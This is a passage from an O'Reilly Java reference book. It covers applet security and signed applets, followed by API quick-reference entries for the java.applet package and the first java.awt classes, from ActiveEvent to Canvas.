When an applet is loaded from the local filesystem, instead of through a network protocol, web browsers and applet viewers may relax some, or even many, of the preceding restrictions. The reason for this is that local applets are assumed to be more trustworthy than anonymous applets from the network.

Intermediate applet security policies are also possible. For example, an applet viewer can be written so that it places fewer restrictions on applets loaded from an internal corporate network than on those loaded from the Internet.

7.3.2. Signed Applets

Java 1.1 added the ability to attach a digital signature to a JAR file that contains an applet. This signature securely identifies the author or origin of an applet. If you trust the author or originating organization, you can configure your web browser or applet viewer to run applets bearing that signature as trusted code, rather than as untrusted code. Such an applet runs without the onerous security restrictions placed on untrusted applets. Java 1.2 platform actually allows the security policy to be customized based on the origin of an applet. This means that an end user or system administrator may define multiple levels of trust, allowing fully trusted applets to run with all the privileges of a standalone application, while partially trusted applets run with a reduced list of security restrictions.

The process of attaching a digital signature to an applet's JAR file is platform dependent. In Java 1.1, you use the javakey program. In Java 1.2, this program has been superseded by jarsigner. Netscape and Microsoft also provide their own digital signature programs that are customized for use with their browsers.

The process of telling your web browser or applet viewer which digital signatures to trust is also vendor dependent, of course. In Java 1.1, you use javakey to specify which signatures are trusted. In Java 1.2, you use a different tool, policytool, to specify trusted signatures and the security policies associated with them. See Java in a Nutshell for further details.

Previous | Home | Next
7.2. Including Applets in HTML Files | Book Index | Part 2. API Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.applet Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 8. The java.applet Package

The java.applet package is a small but important package that defines the Applet class--the superclass of all applets. It also defines the AppletContext and AppletStub interfaces, which are implemented by web browsers and other applet viewers. Finally, for lack of a better place, this package contains the AudioClip interface, which represents a sound to be played. Figure 8-1 shows the class hierarchy of this package. See Chapter 7, "Applets", for more details about applets.

Figure 8-1. The java.applet package

Applet | Java 1.0
java.applet | serializable AWT component PJ1.1

This class implements an applet. To create your own applet, you should create a subclass of this class and override some or all of the following methods. Note that you never need to call these methods--they are called when appropriate by a web browser or other applet viewer.

init() should perform any initialization for the applet; it is called when the applet first starts. destroy() should free up any resources that the applet is holding; it is called when the applet is about to be permanently stopped. start() is called to make applet start doing whatever it is that it does. Often, it starts a thread to perform an animation or similar task. stop() should temporarily stop the applet from executing. It is called when the applet temporarily becomes hidden or nonvisible.

getAppletInfo() should return text suitable for display in an About dialog posted by the web browser or applet viewer. getParameterInfo() should return an arbitrary-length array of three-element arrays of strings, where each element describes one of the parameters that this applet understands. The three elements of each parameter description are strings that specify the parameter's name, type, and description, respectively.

In addition to these methods, an applet typically overrides several of the methods of java.awt.Component, notably the paint() method to draw the applet on the screen.

There are also several Applet methods that you do not override but may call from applet code: showStatus() displays text in the web browser or applet viewer's status line. getImage() and getAudioClip() read image (GIF and JPEG formats) and audio files (AU format) over the network and return corresponding Java objects. getParameter() looks up the value of a parameter specified with a <PARAM> tag within an <APPLET>/</APPLET> pair. getCodeBase() returns the base URL from which the applet's code was loaded, while getDocumentBase() returns the base URL from which the HTML document containing the applet was loaded. Finally, getAppletContext() returns an AppletContext object.

public class Applet extends java.awt.Panel {
// | Public Constructors
 | public Applet (); |
// | Public Class Methods
1.2 | public static final AudioClip newAudioClip (java.net.URL url); |
// | Property Accessor Methods (by property name)
 | public boolean isActive (); | default:false
 | public AppletContext getAppletContext (); |
 | public String getAppletInfo (); | constant default:null
 | public java.net.URL getCodeBase (); |
 | public java.net.URL getDocumentBase (); |
1.1 | public java.util.Locale getLocale (); | Overrides:Component
 | public String[ ][ ] getParameterInfo (); | constant default:null
// | Public Instance Methods
 | public void destroy (); | empty
 | public AudioClip getAudioClip (java.net.URL url); |
 | public AudioClip getAudioClip (java.net.URL url, String name); |
 | public java.awt.Image getImage (java.net.URL url); |
 | public java.awt.Image getImage (java.net.URL url, String name); |
 | public String getParameter (String name); |
 | public void init (); | empty
 | public void play (java.net.URL url); |
 | public void play (java.net.URL url, String name); |
 | public final void setStub (AppletStub stub); |
 | public void showStatus (String msg); |
 | public void start (); | empty
 | public void stop (); | empty
// | Public Methods Overriding Component
 | public void resize (java.awt.Dimension d); |
 | public void resize (int width, int height); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->java.awt.Panel-->Applet

Subclasses: javax.swing.JApplet

Passed To: java.beans.AppletInitializer.{activate(), initialize()}, org.omg.CORBA.ORB.{init(), set_parameters()}

Returned By: AppletContext.getApplet()

AppletContext | Java 1.0
java.applet | PJ1.1

This interface defines the methods that allow an applet to interact with the context in which it runs (usually a web browser or an applet viewer). The getAppletContext() method of Applet returns an object that implements the AppletContext interface. You can use an AppletContext to take advantage of a web browser's cache or display a message to the user in the web browser or applet viewer's message area. The getAudioClip() and getImage() methods may make use of a web browser's caching mechanism. showDocument() and showStatus() give an applet a small measure of control over the appearance of the browser or applet viewer. The getApplet() and getApplets() methods allow an applet to find out what other applets are running at the same time.

public abstract interface AppletContext {
// | Public Instance Methods
 | public abstract Applet getApplet (String name);
 | public abstract java.util.Enumeration getApplets ();
 | public abstract AudioClip getAudioClip (java.net.URL url);
 | public abstract java.awt.Image getImage (java.net.URL url);
 | public abstract void showDocument (java.net.URL url);
 | public abstract void showDocument (java.net.URL url, String target);
 | public abstract void showStatus (String status);
}

Returned By: Applet.getAppletContext(), AppletStub.getAppletContext()

AppletStub | Java 1.0
java.applet | PJ1.1

This is an internal interface used when implementing an applet viewer.

public abstract interface AppletStub {
// | Property Accessor Methods (by property name)
 | public abstract boolean isActive ();
 | public abstract AppletContext getAppletContext ();
 | public abstract java.net.URL getCodeBase ();
 | public abstract java.net.URL getDocumentBase ();
// | Public Instance Methods
 | public abstract void appletResize (int width, int height);
 | public abstract String getParameter (String name);
}

Passed To: Applet.setStub()

AudioClip | Java 1.0
java.applet | PJ1.1

This interface describes the essential methods that an audio clip must have. The getAudioClip() methods of Applet and AppletContext both return an object that implements this interface. The current Java SDK implementation of this interface works only with sounds encoded in AU format. The AudioClip interface is in the java.applet package only because there is no better place for it.

public abstract interface AudioClip {
// | Public Instance Methods
 | public abstract void loop ();
 | public abstract void play ();
 | public abstract void stop ();
}

Returned By: Applet.{getAudioClip(), newAudioClip()}, AppletContext.getAudioClip()

Previous | Home | Next
Reading a Quick-Reference Entry | Book Index | 9. The java.awt Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 9. The java.awt Package

The java.awt package is the main package of the AWT, or Abstract Windowing Toolkit. It contains classes for graphics, including the Java 2D graphics capabilities introduced in the Java 2 platform, and also defines the basic graphical user interface (GUI) framework for Java. java.awt also includes a number of heavyweight GUI objects, many of which have been superseded by the javax.swing package. java.awt also has a number of important subpackages.

The most important graphics classes in java.awt are Graphics and its Java 2D extension, Graphics2D. These classes represent a drawing surface, maintain a set of drawing attributes, and define methods for drawing and filling lines, shapes, and text. Classes that represent graphics attributes include Color, Font, Paint, Stroke, and Composite. The Image class and Shape interface represent things that you can draw using a Graphics object and the various graphics attributes. Figure 9-1 shows the graphics classes of this package.

Figure 9-1. Graphics classes of the java.awt package

The most important class for GUIs is Component, which represents a single graphical element in a GUI. Container is a kind of component that can contain other components. The LayoutManager interface and its various implementations are used to position components within their containers. Figure 9-2 shows the GUI classes of this package, and Figure 9-3 shows the event, exception, and security classes.

Figure 9-2. GUI classes of the java.awt package

Figure 9-3. Event, exception, and security classes of the java.awt package

See Chapter 4, "Graphics with AWT and Java 2D", for an introduction to Java graphics with AWT and Java 2D and Chapter 2, "Swing and AWTArchitecture", for an introduction to the GUI framework defined by the java.awt package.

ActiveEvent Java 1.2
java.awt

This interface is implemented by events that know how to dispatch themselves. When the event dispatch system encounters an ActiveEvent on the event queue, it simply invokes the dispatch() method of the event, instead of attempting to dispatch the event on its own. This interface is implemented by java.awt.event.InvocationEvent, which is used by the invokeLater() and invokeAndWait() methods of EventQueue.

public abstract interface ActiveEvent {
// | Public Instance Methods
 | public abstract void dispatch ();
}

Implementations: java.awt.event.InvocationEvent

Adjustable | Java 1.1
java.awt | PJ1.1

This interface defines the methods that should be implemented by an object that maintains a user-adjustable numeric value. The adjustable value has specified minimum and maximum values, and it may be incremented or decremented either a unit at a time or a block at a time. An Adjustable object generates an AdjustmentEvent when it is adjusted and maintains a list of AdjustmentListener objects interested in being notified when such an event occurs.

This interface abstracts the essential functionality of the Scrollbar and javax.swing.JScrollBar components.

public abstract interface Adjustable {
// | Public Constants
 | public static final int HORIZONTAL ; | =0
 | public static final int VERTICAL ; | =1
// | Event Registration Methods (by event name)
 | public abstract void addAdjustmentListener (java.awt.event.AdjustmentListener l); |
 | public abstract void removeAdjustmentListener (java.awt.event.AdjustmentListener l); |
// | Property Accessor Methods (by property name)
 | public abstract int getBlockIncrement (); |
 | public abstract void setBlockIncrement (int b); |
 | public abstract int getMaximum (); |
 | public abstract void setMaximum (int max); |
 | public abstract int getMinimum (); |
 | public abstract void setMinimum (int min); |
 | public abstract int getOrientation (); |
 | public abstract int getUnitIncrement (); |
 | public abstract void setUnitIncrement (int u); |
 | public abstract int getValue (); |
 | public abstract void setValue (int v); |
 | public abstract int getVisibleAmount (); |
 | public abstract void setVisibleAmount (int v); |
}

Implementations: Scrollbar, javax.swing.JScrollBar

Passed To: java.awt.event.AdjustmentEvent.AdjustmentEvent(), java.awt.peer.ScrollPanePeer.{setUnitIncrement(), setValue()}

Returned By: ScrollPane.{getHAdjustable(), getVAdjustable()}, java.awt.event.AdjustmentEvent.getAdjustable()

AlphaComposite Java 1.2
java.awt

This implementation of the Composite interface blends colors according to their levels of alpha transparency. AlphaComposite does not have a public constructor, but you can obtain a shared immutable instance by calling the static getInstance() method, specifying the desired compositing rule (one of the eight integer constants defined by the class), and specifying an alpha value. Alternatively, if you use an alpha value of 1.0, you can simply use one of the eight predefined AlphaComposite constants. Once you have obtained an AlphaComposite object, you use it by passing it to the setComposite() method of a Graphics2D object.

The most common way to use an AlphaComposite object is to specify the SRC_OVER compositing rule and an alpha value greater than 0 but less than 1. This causes the source colors you draw to be given the specified level of alpha transparency, so that they are blended with whatever colors already exist on the screen, making the destination colors appear to show through the translucent source colors. This technique allows you to achieve transparency effects using opaque colors when you are drawing onto a drawing surface, like a screen, that does not have an alpha channel.

The other compositing rules of AlphaComposite are best understood when both the source (your drawing) and the destination (the drawing surface) have alpha channels. For example, you can create translucent Color objects with the four-argument version of the Color() constructor, and you can create an off-screen image with an alpha channel by passing the constant TYPE_INT_ARGB to the java.awt.image.BufferedImage() constructor. (Once your compositing operation has been performed in an off-screen image with an alpha channel, you can view the results by copying the contents of the image to the screen, of course.) When your source and destination have alpha channels built in, you do not usually specify an alpha value for the AlphaComposite itself. If you do, however, the transparency values of the source colors are multiplied by this alpha value.

AlphaComposite supports the following compositing rules:

SRC

Replace the colors of the destination with the colors of the source, ignoring the destination colors and the transparency of the source.

SRC_OVER

Combine the source and destination colors combined based on the transparency of the source, so that the source appears to be drawn over the destination.

DST_OVER

Combine the source and destination colors based on the transparency of the destination, so that the source appears to be drawn underneath the destination.

SRC_IN

Draw the colors of the source using the transparency values of the destination, completely ignoring the colors of the destination.

SRC_OUT

Draw the colors of the source using the inverse transparency values of the destination.

DST_IN

Modify the colors of the destination using the alpha values of the source and ignoring the colors of the source.

DST_OUT

Modify the colors of the destination using the inverted alpha values of the source and ignoring the colors of the source.

CLEAR

Ignore the color and transparency of both the destination and the source. This clears the destination by making it a fully transparent black.

public final class AlphaComposite implements Composite {
// | No Constructor
// | Public Constants
 | public static final AlphaComposite Clear ; |
 | public static final int CLEAR ; | =1
 | public static final int DST_IN ; | =6
 | public static final int DST_OUT ; | =8
 | public static final int DST_OVER ; | =4
 | public static final AlphaComposite DstIn ; |
 | public static final AlphaComposite DstOut ; |
 | public static final AlphaComposite DstOver ; |
 | public static final AlphaComposite Src ; |
 | public static final int SRC ; | =2
 | public static final int SRC_IN ; | =5
 | public static final int SRC_OUT ; | =7
 | public static final int SRC_OVER ; | =3
 | public static final AlphaComposite SrcIn ; |
 | public static final AlphaComposite SrcOut ; |
 | public static final AlphaComposite SrcOver ; |
// | Public Class Methods
 | public static AlphaComposite getInstance (int rule); |
 | public static AlphaComposite getInstance (int rule, float alpha); |
// | Public Instance Methods
 | public float getAlpha (); |
 | public int getRule (); |
// | Methods Implementing Composite
 | public CompositeContext createContext (java.awt.image.ColorModel srcColorModel, java.awt.image.ColorModel dstColorModel, RenderingHints hints); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
}

Hierarchy: Object-->AlphaComposite(Composite)

Returned By: AlphaComposite.getInstance()

Type Of: AlphaComposite.{Clear, DstIn, DstOut, DstOver, Src, SrcIn, SrcOut, SrcOver}

AWTError | Java 1.0
java.awt | serializable error PJ1.1

Signals that an error has occurred in the java.awt package.

public class AWTError extends Error {
// | Public Constructors
 | public AWTError (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Error-->AWTError

AWTEvent | Java 1.1
java.awt | serializable event PJ1.1

This abstract class serves as the root event type for all AWT events in Java 1.1 and supersedes the Event class that was used in Java 1.0.

Each AWTEvent has a source object, as all EventObject objects do. You can query the source of an event with the inherited getSource() method. The AWTEvent class adds an event type, or ID, for every AWT event. Use getID() to query the type of an event. Subclasses of AWTEvent define various constants for this type field.

The various _MASK constants are used by applets and custom components that call the enableEvents() method of Component to receive various event types without having to register EventListener objects.

public abstract class AWTEvent extends java.util.EventObject {
// | Public Constructors
 | public AWTEvent (Event event); |
 | public AWTEvent (Object source, int id); |
// | Public Constants
 | public static final long ACTION_EVENT_MASK ; | =128
 | public static final long ADJUSTMENT_EVENT_MASK ; | =256
 | public static final long COMPONENT_EVENT_MASK ; | =1
 | public static final long CONTAINER_EVENT_MASK ; | =2
 | public static final long FOCUS_EVENT_MASK ; | =4
1.2 | public static final long INPUT_METHOD_EVENT_MASK ; | =2048
 | public static final long ITEM_EVENT_MASK ; | =512
 | public static final long KEY_EVENT_MASK ; | =8
 | public static final long MOUSE_EVENT_MASK ; | =16
 | public static final long MOUSE_MOTION_EVENT_MASK ; | =32
 | public static final int RESERVED_ID_MAX ; | =1999
 | public static final long TEXT_EVENT_MASK ; | =1024
 | public static final long WINDOW_EVENT_MASK ; | =64
// | Public Instance Methods
 | public int getID (); |
 | public String paramString (); |
// | Public Methods Overriding EventObject
 | public String toString (); |
// | Protected Methods Overriding Object
1.2 | protected void finalize () throws Throwable; |
// | Protected Instance Methods
 | protected void consume (); |
 | protected boolean isConsumed (); |
// | Protected Instance Fields
 | protected boolean consumed ; |
 | protected int id ; |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent

Subclasses: java.awt.event.ActionEvent, java.awt.event.AdjustmentEvent, java.awt.event.ComponentEvent, java.awt.event.InputMethodEvent, java.awt.event.InvocationEvent, java.awt.event.ItemEvent, java.awt.event.TextEvent, javax.swing.event.AncestorEvent, javax.swing.event.InternalFrameEvent

Passed To: Too many methods to list.

Returned By: Component.coalesceEvents(), EventQueue.{getNextEvent(), peekEvent()}

AWTEventMulticaster | Java 1.1
java.awt | PJ1.1

AWTEventMulticaster is a convenience class used when writing a custom AWT component. It provides an easy way to maintain a list of AWT EventListener objects and notify the listeners on that list when an event occurs.

AWTEventMulticaster implements each of the event listener interfaces defined in the java.awt.event package, which means that an AWTEventMulticaster object can serve as any desired type of event listener. (It also means that the class defines quite a few methods.) AWTEventMulticaster implements what amounts to a linked list of EventListener objects. When you invoke one of the EventListener methods of an AWTEventMulticaster, it invokes the same method on all of the EventListener objects in the linked list.

Rather than instantiate an AWTEventMulticaster object directly, you use the static add() and remove() methods of the class to add and remove EventListener objects from the linked list. Calling add() or remove() returns an AWTEventMulticaster with the appropriate EventListener object registered or deregistered. Using an AWTEventMulticaster is somewhat non-intuitive, so here is some example code that shows its use:

public class MyList extends Component {   // a class that sends ItemEvents
  // The head of a linked list of AWTEventMulticaster objects
  protected ItemListener listener = null;
  public void addItemListener(ItemListener l) {      // add a listener
    listener = AWTEventMulticaster.add(listener, l);
  }
  public void removeItemListener(ItemListener l) {   // remove a listener
    listener = AWTEventMulticaster.remove(listener, l);
  }
  protected void fireItemEvent(ItemEvent e) {        // notify all listeners
    if (listener != null) listener.itemStateChanged(e);
  }
  // The rest of the class goes here
}
public class AWTEventMulticaster implements java.awt.event.ActionListener, java.awt.event.AdjustmentListener, java.awt.event.ComponentListener, java.awt.event.ContainerListener, java.awt.event.FocusListener, java.awt.event.InputMethodListener, java.awt.event.ItemListener, java.awt.event.KeyListener, java.awt.event.MouseListener, java.awt.event.MouseMotionListener, java.awt.event.TextListener, java.awt.event.WindowListener {
// | Protected Constructors
 | protected AWTEventMulticaster (java.util.EventListener a, java.util.EventListener b);
// | Public Class Methods
 | public static java.awt.event.ActionListener add (java.awt.event.ActionListener a, java.awt.event.ActionListener b);
 | public static java.awt.event.AdjustmentListener add (java.awt.event.AdjustmentListener a, java.awt.event.AdjustmentListener b);
 | public static java.awt.event.ComponentListener add (java.awt.event.ComponentListener a, java.awt.event.ComponentListener b);
 | public static java.awt.event.ContainerListener add (java.awt.event.ContainerListener a, java.awt.event.ContainerListener b);
 | public static java.awt.event.FocusListener add (java.awt.event.FocusListener a, java.awt.event.FocusListener b);
1.2 | public static java.awt.event.InputMethodListener add (java.awt.event.InputMethodListener a, java.awt.event.InputMethodListener b);
 | public static java.awt.event.ItemListener add (java.awt.event.ItemListener a, java.awt.event.ItemListener b);
 | public static java.awt.event.KeyListener add (java.awt.event.KeyListener a, java.awt.event.KeyListener b);
 | public static java.awt.event.MouseListener add (java.awt.event.MouseListener a, java.awt.event.MouseListener b);
 | public static java.awt.event.MouseMotionListener add (java.awt.event.MouseMotionListener a, java.awt.event.MouseMotionListener b);
 | public static java.awt.event.TextListener add (java.awt.event.TextListener a, java.awt.event.TextListener b);
 | public static java.awt.event.WindowListener add (java.awt.event.WindowListener a, java.awt.event.WindowListener b);
 | public static java.awt.event.ActionListener remove (java.awt.event.ActionListener l, java.awt.event.ActionListener oldl);
 | public static java.awt.event.AdjustmentListener remove (java.awt.event.AdjustmentListener l, java.awt.event.AdjustmentListener oldl);
 | public static java.awt.event.ComponentListener remove (java.awt.event.ComponentListener l, java.awt.event.ComponentListener oldl);
 | public static java.awt.event.ContainerListener remove (java.awt.event.ContainerListener l, java.awt.event.ContainerListener oldl);
 | public static java.awt.event.FocusListener remove (java.awt.event.FocusListener l, java.awt.event.FocusListener oldl);
1.2 | public static java.awt.event.InputMethodListener remove (java.awt.event.InputMethodListener l, java.awt.event.InputMethodListener oldl);
 | public static java.awt.event.ItemListener remove (java.awt.event.ItemListener l, java.awt.event.ItemListener oldl);
 | public static java.awt.event.KeyListener remove (java.awt.event.KeyListener l, java.awt.event.KeyListener oldl);
 | public static java.awt.event.MouseListener remove (java.awt.event.MouseListener l, java.awt.event.MouseListener oldl);
 | public static java.awt.event.MouseMotionListener remove (java.awt.event.MouseMotionListener l, java.awt.event.MouseMotionListener oldl);
 | public static java.awt.event.TextListener remove (java.awt.event.TextListener l, java.awt.event.TextListener oldl);
 | public static java.awt.event.WindowListener remove (java.awt.event.WindowListener l, java.awt.event.WindowListener oldl);
// | Protected Class Methods
 | protected static java.util.EventListener addInternal (java.util.EventListener a, java.util.EventListener b);
 | protected static java.util.EventListener removeInternal (java.util.EventListener l, java.util.EventListener oldl);
 | protected static void save (java.io.ObjectOutputStream s, String k, java.util.EventListener l) throws java.io.IOException;
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e);
// | Methods Implementing AdjustmentListener
 | public void adjustmentValueChanged (java.awt.event.AdjustmentEvent e);
// | Methods Implementing ComponentListener
 | public void componentHidden (java.awt.event.ComponentEvent e);
 | public void componentMoved (java.awt.event.ComponentEvent e);
 | public void componentResized (java.awt.event.ComponentEvent e);
 | public void componentShown (java.awt.event.ComponentEvent e);
// | Methods Implementing ContainerListener
 | public void componentAdded (java.awt.event.ContainerEvent e);
 | public void componentRemoved (java.awt.event.ContainerEvent e);
// | Methods Implementing FocusListener
 | public void focusGained (java.awt.event.FocusEvent e);
 | public void focusLost (java.awt.event.FocusEvent e);
// | Methods Implementing InputMethodListener
1.2 | public void caretPositionChanged (java.awt.event.InputMethodEvent e);
1.2 | public void inputMethodTextChanged (java.awt.event.InputMethodEvent e);
// | Methods Implementing ItemListener
 | public void itemStateChanged (java.awt.event.ItemEvent e);
// | Methods Implementing KeyListener
 | public void keyPressed (java.awt.event.KeyEvent e);
 | public void keyReleased (java.awt.event.KeyEvent e);
 | public void keyTyped (java.awt.event.KeyEvent e);
// | Methods Implementing MouseListener
 | public void mouseClicked (java.awt.event.MouseEvent e);
 | public void mouseEntered (java.awt.event.MouseEvent e);
 | public void mouseExited (java.awt.event.MouseEvent e);
 | public void mousePressed (java.awt.event.MouseEvent e);
 | public void mouseReleased (java.awt.event.MouseEvent e);
// | Methods Implementing MouseMotionListener
 | public void mouseDragged (java.awt.event.MouseEvent e);
 | public void mouseMoved (java.awt.event.MouseEvent e);
// | Methods Implementing TextListener
 | public void textValueChanged (java.awt.event.TextEvent e);
// | Methods Implementing WindowListener
 | public void windowActivated (java.awt.event.WindowEvent e);
 | public void windowClosed (java.awt.event.WindowEvent e);
 | public void windowClosing (java.awt.event.WindowEvent e);
 | public void windowDeactivated (java.awt.event.WindowEvent e);
 | public void windowDeiconified (java.awt.event.WindowEvent e);
 | public void windowIconified (java.awt.event.WindowEvent e);
 | public void windowOpened (java.awt.event.WindowEvent e);
// | Protected Instance Methods
 | protected java.util.EventListener remove (java.util.EventListener oldl);
 | protected void saveInternal (java.io.ObjectOutputStream s, String k) throws java.io.IOException;
// | Protected Instance Fields
 | protected final java.util.EventListener a ;
 | protected final java.util.EventListener b ;
}

Hierarchy: Object-->AWTEventMulticaster(java.awt.event.ActionListener(java.util.EventListener),java.awt.event.AdjustmentListener(java.util.EventListener),java.awt.event.ComponentListener(java.util.EventListener),java.awt.event.ContainerListener(java.util.EventListener),java.awt.event.FocusListener(java.util.EventListener),java.awt.event.InputMethodListener(java.util.EventListener),java.awt.event.ItemListener(java.util.EventListener),java.awt.event.KeyListener(java.util.EventListener),java.awt.event.MouseListener(java.util.EventListener),java.awt.event.MouseMotionListener(java.util.EventListener),java.awt.event.TextListener(java.util.EventListener),java.awt.event.WindowListener(java.util.EventListener))

AWTException | Java 1.0
java.awt | serializable checked PJ1.1

Signals that an exception has occurred in the java.awt package.

public class AWTException extends Exception {
// | Public Constructors
 | public AWTException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->AWTException

Thrown By: Cursor.getSystemCustomCursor()

AWTPermission | Java 1.2
java.awt | serializable permission

This class encapsulates permissions for performing various AWT-related operations; applications do not typically use it. The name, or target, of a permission should be one of the following values: "accessClipboard", "accessEventQueue", "listenToAllAWTEvents", or "showWindowWithoutWarningBanner". Alternatively, a name of "*" implies all of these values. AWTPermission does not use actions, so the actions argument to the constructor should be null.

public final class AWTPermission extends java.security.BasicPermission {
// | Public Constructors
 | public AWTPermission (String name);
 | public AWTPermission (String name, String actions);
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->java.security.BasicPermission(Serializable)-->AWTPermission

BasicStroke Java 1.2
java.awt

This class defines properties that control how lines are drawn. By default, lines are one-pixel wide and solid. To change these attributes, pass a BasicStroke (or another implementation of Stroke) to the setStroke() method of a Graphics2D object. BasicStroke supports the following line attribute properties:

lineWidth

The thickness of the line.

endCap

The end cap style of the line. CAP_BUTT specifies that a line ends exactly at its end points, without caps. CAP_SQUARE causes a line to end with square caps that extend beyond the end points by a distance equal to one-half of the line width. CAP_ROUND specifies that a line ends with round caps with a radius of one-half of the line width.

lineJoin

The join style when two line segments meet at the vertex of a shape. JOIN_MITER specifies that the outside edges of the two line segments are extended as far as necessary until they intersect. JOIN_BEVEL causes the outside corners of the vertex to be joined with a straight line. JOIN_ROUND specifies that the vertex is rounded with a curve that has a radius of half the line width.

miterLimit

The maximum length of the miter used to connect two intersecting line segments. When two lines intersect at an acute angle and the line join style is JOIN_MITER, the length of the miter gets progressively longer as the angle between the lines gets smaller. This property imposes a maximum length on the miter; beyond this length, the miter is squared off.

dashArray

The pattern of dashes and spaces that make up a dashed line. This attribute is an array, where the first element and all the additional odd elements specify the lengths of dashes. The second element and all the additional even elements specify the lengths of the spaces. When the dash pattern is complete, it starts over at the beginning of the array, of course.

dashPhase

The distance into the dash pattern that line drawing begins. Note that this value is not an index into the dash array, but a distance. For example, if you've specified a dash of length 5 followed by a space of length 3 and want to begin your line with the space rather than the dash, you set this property to 5.

See Stroke for a discussion of how line drawing is performed in Java 2D.

public class BasicStroke implements Stroke {
// | Public Constructors
 | public BasicStroke (); |
 | public BasicStroke (float width); |
 | public BasicStroke (float width, int cap, int join); |
 | public BasicStroke (float width, int cap, int join, float miterlimit); |
 | public BasicStroke (float width, int cap, int join, float miterlimit, float[ ] dash, float dash_phase); |
// | Public Constants
 | public static final int CAP_BUTT ; | =0
 | public static final int CAP_ROUND ; | =1
 | public static final int CAP_SQUARE ; | =2
 | public static final int JOIN_BEVEL ; | =2
 | public static final int JOIN_MITER ; | =0
 | public static final int JOIN_ROUND ; | =1
// | Property Accessor Methods (by property name)
 | public float[ ] getDashArray (); | default:null
 | public float getDashPhase (); | default:0.0
 | public int getEndCap (); | default:2
 | public int getLineJoin (); | default:0
 | public float getLineWidth (); | default:1.0
 | public float getMiterLimit (); | default:10.0
// | Methods Implementing Stroke
 | public Shape createStrokedShape (Shape s); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
}

Hierarchy: Object-->BasicStroke(Stroke)

BorderLayout | Java 1.0
java.awt | serializable layout manager PJ1.1

A LayoutManager that arranges components that have been added to their Container (using the Container.add() method) with the names "North", "South", "East", "West", and "Center". These named components are arranged along the edges and in the center of the container. The hgap and vgap arguments to the BorderLayout constructor specify the desired horizontal and vertical spacing between adjacent components.

In Java 1.1, five constants were defined to represent these strings. In Java 1.2, an additional four constants have been added to represent the four sides of the container in a way that is independent of writing direction. For example, BEFORE_LINE_BEGINS is the same as WEST in locales where text is drawn from left to right, but is the same as EAST in locales where text is drawn from right to left.

Note that an application should never call the LayoutManager methods of this class directly; the Container for which the BorderLayout is registered does this.

In Java 1.1, five constants were defined to represent these strings. In Java 1.2, an additional four constants have been added to represent the four sides of the container in a way that is independent of writing direction. For example, BEFORE_LINE_BEGINS is the same as WEST in locales where text is drawn from left to right but is the same as EAST in locales where text is drawn right to left.

public class BorderLayout implements LayoutManager2, Serializable {
// | Public Constructors
 | public BorderLayout (); |
 | public BorderLayout (int hgap, int vgap); |
// | Public Constants
1.2 | public static final String AFTER_LAST_LINE ; | ="Last"
1.2 | public static final String AFTER_LINE_ENDS ; | ="After"
1.2 | public static final String BEFORE_FIRST_LINE ; | ="First"
1.2 | public static final String BEFORE_LINE_BEGINS ; | ="Before"
1.1 | public static final String CENTER ; | ="Center"
1.1 | public static final String EAST ; | ="East"
1.1 | public static final String NORTH ; | ="North"
1.1 | public static final String SOUTH ; | ="South"
1.1 | public static final String WEST ; | ="West"
// | Property Accessor Methods (by property name)
1.1 | public int getHgap (); | default:0
1.1 | public void setHgap (int hgap); |
1.1 | public int getVgap (); | default:0
1.1 | public void setVgap (int vgap); |
// | Methods Implementing LayoutManager
 | public void layoutContainer (Container target); |
 | public Dimension minimumLayoutSize (Container target); |
 | public Dimension preferredLayoutSize (Container target); |
 | public void removeLayoutComponent (Component comp); |
// | Methods Implementing LayoutManager2
1.1 | public void addLayoutComponent (Component comp, Object constraints); |
1.1 | public float getLayoutAlignmentX (Container parent); |
1.1 | public float getLayoutAlignmentY (Container parent); |
1.1 | public void invalidateLayout (Container target); | empty
1.1 | public Dimension maximumLayoutSize (Container target); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Deprecated Public Methods
# | public void addLayoutComponent (String name, Component comp); | Implements:LayoutManager
}

Hierarchy: Object-->BorderLayout(LayoutManager2(LayoutManager),Serializable)

Button | Java 1.0
java.awt | serializable AWT component PJ1.1

This class represents a GUI push button that displays a specified textual label. Use setActionCommand() to specify an identifying string that is included in the ActionEvent events generated by the button.

public class Button extends Component {
// | Public Constructors
 | public Button (); |
 | public Button (String label); |
// | Event Registration Methods (by event name)
1.1 | public void addActionListener (java.awt.event.ActionListener l); | synchronized
1.1 | public void removeActionListener (java.awt.event.ActionListener l); | synchronized
// | Property Accessor Methods (by property name)
1.1 | public String getActionCommand (); | default:""
1.1 | public void setActionCommand (String command); |
 | public String getLabel (); | default:""
 | public void setLabel (String label); |
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processActionEvent (java.awt.event.ActionEvent e); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Button

Passed To: Toolkit.createButton()

Canvas | Java 1.0
java.awt | serializable AWT component PJ1.1

A Component that does no default drawing or event handling on its own. You can subclass it to display any kind of drawing or image and handle any kind of user input event. Canvas inherits the event-handling methods of its superclass. In Java 1.1, you can also subclass Component directly to create a lightweight component, instead of having to subclass Canvas.

public class Canvas extends Component {
// | Public Constructors
 | public Canvas ();
1.2 | public Canvas (GraphicsConfiguration config);
// | Public Methods Overriding Component
 | public void addNotify ();
 | public void paint (Graphics g);
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Canvas

Passed To: Toolkit.createCanvas()

CardLayout | Java 1.0
java.awt | serializable layout manager PJ1.1

